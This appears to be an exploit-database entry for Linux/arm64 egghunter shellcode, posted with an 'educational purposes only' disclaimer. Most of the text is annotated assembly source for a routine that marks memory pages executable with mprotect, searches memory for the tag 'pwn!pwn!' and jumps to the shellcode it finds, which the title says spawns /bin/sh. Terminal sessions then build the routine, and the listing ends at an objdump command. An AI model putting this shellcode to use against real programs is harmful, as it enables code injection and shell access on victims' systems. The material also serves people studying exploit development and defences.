Exploits / Vulnerability Discovered : 2019-07-01 |
Type : shellcode |
Platform : arm
This exploit / vulnerability Linux/arm64 egghunter (pwn!pwn!) + execve("/bin/sh", null, null) + mprotect() shellcode (88 bytes) is for educational purposes only and if it is used you will do on your own risk!
ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu Xenial Xerus (development branch)
Release: 16.04
Codename: xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat egghunter.s
.section .text
.global _start
_start:
mov x8, #226 // Systemcall Number = x8 = 226 (mprotect)
lsr x2, x8, #5 // args[2] = x2 = 7 = PROT_READ|PROT_WRITE|PROT_EXEC
add x1, x2, #0xff9 // args[1] = x1 = 0x1000
mov x10, xzr // Start address of scannning = x10 = 0x0000000000000000
mov x11, #0x5750 // Eggtag = x11 = 0x0000000000005750
movk x11, #0x214E, lsl #16 // Eggtag = x11 = 0x00000000214E5750
add x11, x11, x11, lsl #32 // Eggtag = x11 = 0x214E5750214E5750 = "!NWP!NWP"
jump_search_page:
tbz x8, #63, search_page // In this code, the top bit of x8 register is always zero. Jump to address of search_page
jump_shellcode:
br x10 // Jump to shellcode
hunt:
add x13, x10, x1 // End address of current page = x13
next_address:
ldr x12, [x10], #8 // Load value from the address pointed by x10 to x12 and add 8 to x10
cmp x11, x12 // Compare loaded value and eggtag.
beq jump_shellcode // If loaded value matched to eggtag, jump to the address of jump_shellcode part.
cmp x10, x13 // Check if current searching address (x10) over end address of current page (x13).
bge jump_search_page // If x10 was over x13, search next valid page.
sub x10, x10, x2 // x10 = x10 - 7. This instruction is for search memory address 1 byte by 1 byte.
b next_address // Check next memory address.
search_page:
// mprotect(*buf, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
add x0, x10, xzr // args[0] = x0 = x10 + xzr = x10
svc #0x1337 // Invoke mprotect().
tbz x0, #63, hunt // If return value is positive, jump to hunt label location.
add x10, x10, x1 // Next page address = x10 + x1 = x10 + 0x1000
b search_page // Check next page address.
ubuntu@ubuntu:~/works$ as -o egghunter.o egghunter.s && ld -o egghunter egghunter.o
ubuntu@ubuntu:~/works$ objdump -d ./egghunter